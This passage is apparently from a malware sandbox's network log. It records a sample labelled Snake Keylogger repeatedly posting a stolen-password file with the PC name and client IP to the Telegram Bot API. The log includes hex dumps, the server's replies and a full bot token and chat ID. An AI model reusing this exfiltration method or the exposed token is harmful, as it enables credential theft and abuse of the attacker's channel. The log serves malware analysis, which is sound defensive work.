2022-06-26 07:33:01 UTC	89	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 31 65 39 63 34 32 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e1e9c42eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:01 UTC	90	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:01 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:01 UTC	90	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 30 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66802,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228781,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.5	49841	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:01 UTC	91	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e22c895b Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:01 UTC	91	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 32 32 63 38 39 35 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e22c895bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:01 UTC	92	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:01 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:01 UTC	92	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 30 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66803,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228781,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.5	49844	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:02 UTC	92	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e2635c53 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:02 UTC	93	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 32 36 33 35 63 35 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e2635c53Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:02 UTC	93	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:02 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:02 UTC	94	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 30 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66805,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228782,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.5	49847	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:02 UTC	94	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e2a8802e Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:02 UTC	94	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 32 61 38 38 30 32 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e2a8802eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:02 UTC	95	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:02 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:02 UTC	95	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 30 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66806,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228782,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.5	49852	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:02 UTC	96	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e2e41b12 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:02 UTC	96	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 32 65 34 31 62 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e2e41b12Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:03 UTC	97	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:03 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:03 UTC	97	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 30 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66807,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228783,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.5	49857	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:03 UTC	97	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e329424c Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:03 UTC	98	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 33 32 39 34 32 34 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e329424cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:03 UTC	98	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:03 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:03 UTC	99	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 30 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66809,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228783,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.5	49859	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:03 UTC	99	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e3673d16 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:03 UTC	99	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 33 36 37 33 64 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e3673d16Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:04 UTC	100	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:04 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:04 UTC	100	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 31 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66810,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228784,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49774	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:40 UTC	10	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d5b1ba0c Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:40 UTC	10	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 35 62 31 62 61 30 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d5b1ba0cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
